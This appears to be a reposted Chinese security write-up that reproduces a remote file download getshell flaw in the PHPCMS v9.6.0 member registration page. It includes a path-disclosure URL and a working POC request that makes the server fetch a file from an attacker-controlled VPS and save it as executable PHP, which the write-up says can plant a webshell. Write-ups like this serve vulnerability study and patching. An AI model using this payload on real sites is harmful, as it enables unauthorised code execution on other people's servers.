预备知识
PHPCMS
是采用MVC
设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。
参数名称 | 描述 | 位置 | 备注 |
---|---|---|---|
m | 模型/模块名称 | phpcms/modules中模块目录名称 |
必须 |
c | 控制器名称 | phpcms/modules/模块/*.php 文件名称 |
必须 |
a | 事件名称 | phpcms/modules/模块/*.php 中方法名称 |
模块访问方法[示例]:http://www.xxx.com/index.php?m=content&c=index&a=show&id=1
其中 m = content
为模型/模块名称 位于phpcms/modules/content
c = index
为控制器名称 位于phpcms/modules/content/index.php
a = show
为时间名称 位于phpcms/modules/content/index.php中show()
方法id = 1 为其他参数 与正常get传递参数形式相同
还有一点就是访问http://www.xxx.com/index.php
phpcms默认路由会定位到content模块的index控制器中的init
操作,因为系统在没有指定模块和控制器的时候,会执行默认的模块和操作.
所以跟访问http://www.xxx.com/index.php?m=content&c=index&a=init
是一样的
安装环境
http://127.0.0.1/ldfx/phpcms/install/install.php
后台管理地址
http://127.0.0.1/ldfx/phpcms/index.php?m=admin&c=index&a=login&pc_hash=
用户注册地址
http://127.0.0.1/ldfx/phpcms/index.php?m=member&c=index&a=register&siteid=1
复现过程
爆出网站路径(只有没有设置只读权限的可以爆出路径)
/phpcms/modules/attachment/templates/album_dir.tpl.php?author=111
这里开始利用,在vps
上上传一个txt
文件,内容如下
然后正常填写注册信息进行抓包修改poc
siteid=1&modelid=11&username=Tao&password=123456&[email protected]&info[content]=<img src=http://xx.xx.xx.xx/1.txt?.php#.jpg>&dosubmit=1&protocol=
可以看到返回了一个php
文件地址,访问该地址显示了phpinfo
的信息。那么我们远端vps
上的内容已经被包含写入到了服务器中
要注意的是在repeater
里测试go
时每一次都要修改username
,password
和email
字段值,不能重复。否则只会默默的在服务器创建文件并返回操作失败的提示。这样的话就需要对文件进行爆破了。这里也可以借助该漏洞直接写马getshell
。
原文始发于微信公众号(守卫者安全):phpcms v9.6.0 会员注册界面远程文件下载getshell
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论